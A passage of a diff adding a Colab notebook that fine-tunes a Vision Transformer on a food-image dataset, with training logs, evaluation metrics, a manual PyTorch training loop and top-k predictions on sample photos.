+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "40eaac98a5b642b28298028de5b0a8f0"
+            }
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "from evaluate import load\n",
+        "import numpy as np\n",
+        "\n",
+        "# load the accuracy and f1 metrics from the evaluate module\n",
+        "accuracy = load(\"accuracy\")\n",
+        "f1 = load(\"f1\")\n",
+        "\n",
+        "def compute_metrics(eval_pred):\n",
+        "  # compute the accuracy and f1 scores & return them\n",
+        "  accuracy_score = accuracy.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids)\n",
+        "  f1_score = f1.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids, average=\"macro\")\n",
+        "  return {**accuracy_score, **f1_score}"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Training the Model"
+      ],
+      "metadata": {
+        "id": "2WNJaZeYKJZH"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "U1MmFNVLKw_2"
+      },
+      "outputs": [],
+      "source": [
+        "# load the ViT model\n",
+        "model = ViTForImageClassification.from_pretrained(\n",
+        "    model_name,\n",
+        "    num_labels=len(labels),\n",
+        "    id2label={str(i): c for i, c in enumerate(labels)},\n",
+        "    label2id={c: str(i) for i, c in enumerate(labels)},\n",
+        "    ignore_mismatched_sizes=True,\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 17,
+      "metadata": {
+        "id": "RNnG1GUUK7nj",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "6390cd94-ad97-4413-f85c-5bc823e2a8ff"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "PyTorch: setting up devices\n"
+          ]
+        }
+      ],
+      "source": [
+        "from transformers import TrainingArguments\n",
+        "\n",
+        "training_args = TrainingArguments(\n",
+        "  output_dir=\"./vit-base-food\", # output directory\n",
+        "  # output_dir=\"./vit-base-skin-cancer\",\n",
+        "  per_device_train_batch_size=32, # batch size per device during training\n",
+        "  evaluation_strategy=\"steps\",    # evaluation strategy to adopt during training\n",
+        "  num_train_epochs=3,             # total number of training epochs\n",
+        "  # fp16=True,                    # use mixed precision\n",
+        "  save_steps=1000,                # number of update steps before saving checkpoint\n",
+        "  eval_steps=1000,                # number of update steps before evaluating\n",
+        "  logging_steps=1000,             # number of update steps before logging\n",
+        "  # save_steps=50,\n",
+        "  # eval_steps=50,\n",
+        "  # logging_steps=50,\n",
+        "  save_total_limit=2,             # limit the total amount of checkpoints on disk\n",
+        "  remove_unused_columns=False,    # remove unused columns from the dataset\n",
+        "  push_to_hub=False,              # do not push the model to the hub\n",
+        "  report_to='tensorboard',        # report metrics to tensorboard\n",
+        "  load_best_model_at_end=True,    # load the best model at the end of training\n",
+        ")\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 18,
+      "metadata": {
+        "id": "3n8Cv48_QKzr"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import Trainer\n",
+        "\n",
+        "trainer = Trainer(\n",
+        "    model=model,                        # the instantiated 🤗 Transformers model to be trained\n",
+        "    args=training_args,                 # training arguments, defined above\n",
+        "    data_collator=collate_fn,           # the data collator that will be used for batching\n",
+        "    compute_metrics=compute_metrics,    # the metrics function that will be used for evaluation\n",
+        "    train_dataset=dataset[\"train\"],     # training dataset\n",
+        "    eval_dataset=dataset[\"validation\"], # evaluation dataset\n",
+        "    tokenizer=image_processor,          # the processor that will be used for preprocessing the images\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 19,
+      "metadata": {
+        "id": "wUUoQyh-QPED",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 1000
+        },
+        "outputId": "eb399913-48db-4af9-b8a9-ec4bc67adc0a"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "/usr/local/lib/python3.9/dist-packages/transformers/optimization.py:306: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set `no_deprecation_warning=True` to disable this warning\n",
+            "  warnings.warn(\n",
+            "***** Running training *****\n",
+            "  Num examples = 75750\n",
+            "  Num Epochs = 3\n",
+            "  Instantaneous batch size per device = 32\n",
+            "  Total train batch size (w. parallel, distributed & accumulation) = 32\n",
+            "  Gradient Accumulation steps = 1\n",
+            "  Total optimization steps = 7104\n",
+            "  Number of trainable parameters = 85876325\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<IPython.core.display.HTML object>"
+            ],
+            "text/html": [
+              "\n",
+              "    <div>\n",
+              "      \n",
+              "      <progress value='7104' max='7104' style='width:300px; height:20px; vertical-align: middle;'></progress>\n",
+              "      [7104/7104 3:46:15, Epoch 3/3]\n",
+              "    </div>\n",
+              "    <table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              " <tr style=\"text-align: left;\">\n",
+              "      <th>Step</th>\n",
+              "      <th>Training Loss</th>\n",
+              "      <th>Validation Loss</th>\n",
+              "      <th>Accuracy</th>\n",
+              "      <th>F1</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <td>1000</td>\n",
+              "      <td>1.440300</td>\n",
+              "      <td>0.582373</td>\n",
+              "      <td>0.853149</td>\n",
+              "      <td>0.852764</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>2000</td>\n",
+              "      <td>0.703100</td>\n",
+              "      <td>0.453642</td>\n",
+              "      <td>0.878297</td>\n",
+              "      <td>0.878230</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>3000</td>\n",
+              "      <td>0.434700</td>\n",
+              "      <td>0.409464</td>\n",
+              "      <td>0.886455</td>\n",
+              "      <td>0.886492</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>4000</td>\n",
+              "      <td>0.310100</td>\n",
+              "      <td>0.394801</td>\n",
+              "      <td>0.889188</td>\n",
+              "      <td>0.888990</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>5000</td>\n",
+              "      <td>0.245100</td>\n",
+              "      <td>0.383308</td>\n",
+              "      <td>0.895168</td>\n",
+              "      <td>0.895035</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>6000</td>\n",
+              "      <td>0.115700</td>\n",
+              "      <td>0.379927</td>\n",
+              "      <td>0.896515</td>\n",
+              "      <td>0.896743</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <td>7000</td>\n",
+              "      <td>0.108100</td>\n",
+              "      <td>0.376985</td>\n",
+              "      <td>0.898059</td>\n",
+              "      <td>0.898311</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table><p>"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-1000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-1000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-1000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-1000/preprocessor_config.json\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-2000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-2000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-2000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-2000/preprocessor_config.json\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-3000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-3000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-3000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-3000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-1000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-4000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-4000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-4000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-4000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-2000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-5000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-5000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-5000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-5000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-3000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-6000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-6000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-6000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-6000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-4000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-7000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-7000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-7000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-7000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-5000] due to args.save_total_limit\n",
+            "\n",
+            "\n",
+            "Training completed. Do not forget to share your model on huggingface.co/models =)\n",
+            "\n",
+            "\n",
+            "Loading best model from ./vit-base-food/checkpoint-7000 (score: 0.37698468565940857).\n"
+          ]
+        },
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "TrainOutput(global_step=7104, training_loss=0.47385838654664186, metrics={'train_runtime': 13577.408, 'train_samples_per_second': 16.737, 'train_steps_per_second': 0.523, 'total_flos': 1.76256801415296e+19, 'train_loss': 0.47385838654664186, 'epoch': 3.0})"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 19
+        }
+      ],
+      "source": [
+        "# start training\n",
+        "trainer.train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 20,
+      "metadata": {
+        "id": "akZ0-H5YQSuJ",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 211
+        },
+        "outputId": "85b9cf1b-3fca-47ed-b4fe-5de2839e8cd5"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<IPython.core.display.HTML object>"
+            ],
+            "text/html": [
+              "\n",
+              "    <div>\n",
+              "      \n",
+              "      <progress value='3157' max='3157' style='width:300px; height:20px; vertical-align: middle;'></progress>\n",
+              "      [3157/3157 08:06]\n",
+              "    </div>\n",
+              "    "
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'eval_loss': 0.37698468565940857,\n",
+              " 'eval_accuracy': 0.8980594059405941,\n",
+              " 'eval_f1': 0.8983106653355424,\n",
+              " 'eval_runtime': 487.0104,\n",
+              " 'eval_samples_per_second': 51.847,\n",
+              " 'eval_steps_per_second': 6.482,\n",
+              " 'epoch': 3.0}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 20
+        }
+      ],
+      "source": [
+        "# trainer.evaluate(dataset[\"test\"])\n",
+        "trainer.evaluate()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "wAZFCk5Gd1p0"
+      },
+      "outputs": [],
+      "source": [
+        "# start tensorboard\n",
+        "# %load_ext tensorboard\n",
+        "%reload_ext tensorboard\n",
+        "%tensorboard --logdir ./vit-base-food/runs"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "H_SsuMpFafPe"
+      },
+      "source": [
+        "## Alternatively: Training using PyTorch Loop\n",
+        "Run the two below cells to fine-tune using a regular PyTorch loop if you want."
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "C29idUGDd2yW"
+      },
+      "outputs": [],
+      "source": [
+        "# Training loop\n",
+        "from torch.utils.tensorboard import SummaryWriter\n",
+        "from torch.optim import AdamW\n",
+        "from torch.utils.data import DataLoader\n",
+        "\n",
+        "batch_size = 32\n",
+        "\n",
+        "train_dataset_loader = DataLoader(dataset[\"train\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n",
+        "valid_dataset_loader = DataLoader(dataset[\"validation\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n",
+        "\n",
+        "# define the optimizer\n",
+        "optimizer = AdamW(model.parameters(), lr=1e-5)\n",
+        "\n",
+        "log_dir = \"./image-classification/tensorboard\"\n",
+        "summary_writer = SummaryWriter(log_dir=log_dir)\n",
+        "\n",
+        "num_epochs = 3\n",
+        "model = model.to(device)\n",
+        "# print some statistics before training\n",
+        "# number of training steps\n",
+        "n_train_steps = num_epochs * len(train_dataset_loader)\n",
+        "# number of validation steps\n",
+        "n_valid_steps = len(valid_dataset_loader)\n",
+        "# current training step\n",
+        "current_step = 0\n",
+        "# logging, eval & save steps\n",
+        "save_steps = 1000\n",
+        "\n",
+        "def compute_metrics(eval_pred):\n",
+        "  accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)\n",
+        "  f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average=\"macro\")\n",
+        "  return {**accuracy_score, **f1_score}"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "2v6dNtUcd7-G"
+      },
+      "outputs": [],
+      "source": [
+        "for epoch in range(num_epochs):\n",
+        "    # set the model to training mode\n",
+        "    model.train()\n",
+        "    # initialize the training loss\n",
+        "    train_loss = 0\n",
+        "    # initialize the progress bar\n",
+        "    progress_bar = tqdm(range(current_step, n_train_steps), \"Training\", dynamic_ncols=True, ncols=80)\n",
+        "    for batch in train_dataset_loader:\n",
+        "      if (current_step+1) % save_steps == 0:\n",
+        "        ### evaluation code ###\n",
+        "        # evaluate on the validation set\n",
+        "        # if the current step is a multiple of the save steps\n",
+        "        print()\n",
+        "        print(f\"Validation at step {current_step}...\")\n",
+        "        print()\n",
+        "        # set the model to evaluation mode\n",
+        "        model.eval()\n",
+        "        # initialize our lists that store the predictions and the labels\n",
+        "        predictions, labels = [], []\n",
+        "        # initialize the validation loss\n",
+        "        valid_loss = 0\n",
+        "        for batch in valid_dataset_loader:\n",
+        "            # get the batch\n",
+        "            pixel_values = batch[\"pixel_values\"].to(device)\n",
+        "            label_ids = batch[\"labels\"].to(device)\n",
+        "            # forward pass\n",
+        "            outputs = model(pixel_values=pixel_values, labels=label_ids)\n",
+        "            # get the loss\n",
+        "            loss = outputs.loss\n",
+        "            valid_loss += loss.item()\n",
+        "            # free the GPU memory\n",
+        "            logits = outputs.logits.detach().cpu()\n",
+        "            # add the predictions to the list\n",
+        "            predictions.extend(logits.argmax(dim=-1).tolist())\n",
+        "            # add the labels to the list\n",
+        "            labels.extend(label_ids.tolist())\n",
+        "        # make the EvalPrediction object that the compute_metrics function expects\n",
+        "        eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)\n",
+        "        # compute the metrics\n",
+        "        metrics = compute_metrics(eval_prediction)\n",
+        "        # print the stats\n",
+        "        print()\n",
+        "        print(f\"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, \" + \n",
+        "              f\"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, \" +\n",
+        "              f\"F1 Score: {metrics['f1']}\")\n",
+        "        print()\n",
+        "        # log the metrics\n",
+        "        summary_writer.add_scalar(\"valid_loss\", valid_loss / n_valid_steps, global_step=current_step)\n",
+        "        summary_writer.add_scalar(\"accuracy\", metrics[\"accuracy\"], global_step=current_step)\n",
+        "        summary_writer.add_scalar(\"f1\", metrics[\"f1\"], global_step=current_step)\n",
+        "        # save the model\n",
+        "        model.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n",
+        "        image_processor.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n",
+        "        # get the model back to train mode\n",
+        "        model.train()\n",
+        "        # reset the train and valid loss\n",
+        "        train_loss, valid_loss = 0, 0\n",
+        "      ### training code below ###\n",
+        "      # get the batch & convert to tensor\n",
+        "      pixel_values = batch[\"pixel_values\"].to(device)\n",
+        "      labels = batch[\"labels\"].to(device)\n",
+        "      # forward pass\n",
+        "      outputs = model(pixel_values=pixel_values, labels=labels)\n",
+        "      # get the loss\n",
+        "      loss = outputs.loss\n",
+        "      # backward pass\n",
+        "      loss.backward()\n",
+        "      # update the weights\n",
+        "      optimizer.step()\n",
+        "      # zero the gradients\n",
+        "      optimizer.zero_grad()\n",
+        "      # log the loss\n",
+        "      loss_v = loss.item()\n",
+        "      train_loss += loss_v\n",
+        "      # increment the step\n",
+        "      current_step += 1\n",
+        "      progress_bar.update(1)\n",
+        "      # log the training loss\n",
+        "      summary_writer.add_scalar(\"train_loss\", loss_v, global_step=current_step)\n",
+        "        "
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# Performing Inference"
+      ],
+      "metadata": {
+        "id": "5nyMP4VRC_dG"
+      }
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "nuOoflvoen7E"
+      },
+      "outputs": [],
+      "source": [
+        "# load the best model, change the checkpoint number to the best checkpoint\n",
+        "# if the last checkpoint is the best, then ignore this cell\n",
+        "best_checkpoint = 7000\n",
+        "# best_checkpoint = 150\n",
+        "model = ViTForImageClassification.from_pretrained(f\"./vit-base-food/checkpoint-{best_checkpoint}\").to(device)\n",
+        "# model = ViTForImageClassification.from_pretrained(f\"./vit-base-skin-cancer/checkpoint-{best_checkpoint}\").to(device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 25,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 35
+        },
+        "id": "PwI6sf8PPReE",
+        "outputId": "851ba75d-374c-483f-8e32-2fd38de848f0"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "'sushi'"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            }
+          },
+          "metadata": {},
+          "execution_count": 25
+        }
+      ],
+      "source": [
+        "get_prediction(model, \"https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 26,
+      "metadata": {
+        "id": "pkmjg6hGQ6DZ"
+      },
+      "outputs": [],
+      "source": [
+        "def get_prediction_probs(model, url_or_path, num_classes=3):\n",
+        "    # load the image\n",
+        "    img = load_image(url_or_path)\n",
+        "    # preprocessing the image\n",
+        "    pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n",
+        "    # perform inference\n",
+        "    output = model(pixel_values)\n",
+        "    # get the top k classes and probabilities\n",
+        "    probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)\n",
+        "    # get the class labels\n",
+        "    id2label = model.config.id2label\n",
+        "    classes = [id2label[idx.item()] for idx in indices[0]]\n",
+        "    # convert the probabilities to a list\n",
+        "    probs = probs.squeeze().tolist()\n",
+        "    # create a dictionary with the class names and probabilities\n",
+        "    results = dict(zip(classes, probs))\n",
+        "    return results"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 27,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "N0pFDs9CRhqX",
+        "outputId": "18f4cc0b-86fe-4575-c7d4-82b832938b56"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'greek_salad': 0.9658474326133728,\n",
+              " 'caesar_salad': 0.019217027351260185,\n",
+              " 'beet_salad': 0.008294313214719296}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 27
+        }
+      ],
+      "source": [
+        "# example 1\n",
+        "get_prediction_probs(model, \"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 28,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "urU-gg-gRjkN",
+        "outputId": "6ff8b804-beea-4136-988d-2eb40c732205"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'grilled_cheese_sandwich': 0.9855711460113525,\n",
+              " 'waffles': 0.0030371786560863256,\n",
+              " 'club_sandwich': 0.0017941497499123216}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 28
+        }
+      ],
+      "source": [
+        "# example 2\n",
+        "get_prediction_probs(model, \"https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 29,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "nHtsyIRLV-3A",
+        "outputId": "bbba9101-6884-4b2b-b7c6-eba4e70fbe10"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'donuts': 0.9919546246528625,\n",
+              " 'cup_cakes': 0.0018467127811163664,\n",
+              " 'beignets': 0.0009919782169163227}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 29
+        }
+      ],
+      "source": [
+        "# example 3\n",
+        "get_prediction_probs(model, \"https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 30,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "qbO_d45dXtwh",
+        "outputId": "ef11eaab-abc9-4519-957e-fbb057d07c8e"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'deviled_eggs': 0.9846165180206299,\n",
+              " 'caprese_salad': 0.0012617064639925957,\n",
+              " 'ravioli': 0.001060450915247202,\n",
+              " 'beet_salad': 0.0008713295101188123,\n",
+              " 'scallops': 0.0005976424436084926,\n",
+              " 'gnocchi': 0.0005376451299525797,\n",
+              " 'fried_calamari': 0.0005195785779505968,\n",
+              " 'caesar_salad': 0.0003912363899871707,\n",
+              " 'samosa': 0.0003842405858449638,\n",
+              " 'dumplings': 0.00036707069375552237}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 30
+        }
+      ],
+      "source": [
+        "# example 4\n",
+        "get_prediction_probs(model, \"https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600\", num_classes=10)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 31,
+      "metadata": {
+        "id": "NAhzhcbhXyYA",
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "outputId": "98b811a4-b43f-4c87-b7c2-fcc678281157"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "{'fried_rice': 0.8101670145988464,\n",
+              " 'paella': 0.06818010658025742,\n",
+              " 'steak': 0.015688087791204453}"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 31
+        }
+      ],
+      "source": [
+        "get_prediction_probs(model, \"https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600\")"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "provenance": [],
+      "collapsed_sections": [
+        "H9ZcQf_HDXl6",
+        "H_SsuMpFafPe"
+      ],
+      "toc_visible": true
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "394913b4097b46a7984797f5d1deaaff": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d7ac86078f0c4c7da2f137ad1ac478b3",
+              "IPY_MODEL_cc9c87b095054301a8f910ad3a2cf1a5",
+              "IPY_MODEL_c39369786d8843cda8dd4bfc116f42bf"
+            ],
+            "layout": "IPY_MODEL_dc110e5887304c40941cdd68163a4013"
+          }
+        },
+        "d7ac86078f0c4c7da2f137ad1ac478b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_de81d798249b48c396d64575bad2c358",
+            "placeholder": "​",
+            "style": "IPY_MODEL_40687f7092f94f92a50e4d83c7147f2a",
+            "value": "Downloading builder script: 100%"
+          }
+        },
+        "cc9c87b095054301a8f910ad3a2cf1a5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2c20eadf22c545a182bec19a81b3d99a",
+            "max": 6208,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7086056225a44a7fb99f14d9d0a1f4cc",
+            "value": 6208
+          }
+        },
+        "c39369786d8843cda8dd4bfc116f42bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fe7fbb909b154a4eaf05a906dd2a9c78",
+            "placeholder": "​",
+            "style": "IPY_MODEL_05ea400f1d864062bacb4e3a69312b4c",
+            "value": " 6.21k/6.21k [00:00&lt;00:00, 317kB/s]"
+          }
+        },
+        "dc110e5887304c40941cdd68163a4013": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "de81d798249b48c396d64575bad2c358": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
